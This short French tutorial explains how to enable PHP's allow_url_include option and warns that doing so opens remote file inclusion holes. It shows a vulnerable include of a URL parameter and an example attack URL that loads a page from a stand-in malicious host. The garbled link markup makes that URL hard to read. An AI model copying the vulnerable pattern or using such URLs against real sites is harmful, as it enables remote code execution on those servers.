PHP 5 - Utiliser une url externe avec la fonction include

Décembre 2016

L'option qui permet d'inclure un url externe (c'est à dire absolue, de la forme http://site.tld/url) via la fonction include est désactivée par défaut dans les versions 5 et ultérieures de PHP, pour l'activer sur votre serveur mettez ces deux lignes dans votre fichier php.ini

allow_url_include = 1
allow_url_fopen = 1

Pour plus d'informations, voir ICI

NOTE IMPORTANTE: Néanmoins, il est très dangereux d'activer l'option allow_url_include. En effet elle peut, dans certains cas, poser de graves failles de sécurité si le développeur est négligent.

Prenons un simple exemple, vous avez un script PHP qui inclut une page en fonction de ce qu'on lui donne comme arguments via l'URL.
C'est à dire qu'en tapant http://votresite.flet/mapage.php?page=page_a_inclure.php vous allez inclure la page "page_a_inclure.php".
Si votre code ressemble à ceci : include $_GET['page']; alors vous laissez la porte ouverte à n'importe qui pour injecter du code externe. En effet, rien ne m'empêche d'inclure une page php qui vient de chez moi:

href= <a href='http://sitemechant.prout/pagemechante.php'' target='_blank'>http://sitemechant.prout/pagemechante.php'</a> target='_blank' rel='nofollow'>http://votresite.flet/mapage.php?http://sitemechant.prout/pagemechante.php</a>

Il faut donc être vigilant lorsque l'on active cette option.

A voir également :

Ce document intitulé «  PHP 5 - Utiliser une url externe avec la fonction include  » issu de CommentCaMarche (www.commentcamarche.net) est mis à disposition sous les termes de la licence Creative Commons. Vous pouvez copier, modifier des copies de cette page, dans les conditions fixées par la licence, tant que cette note apparaît clairement.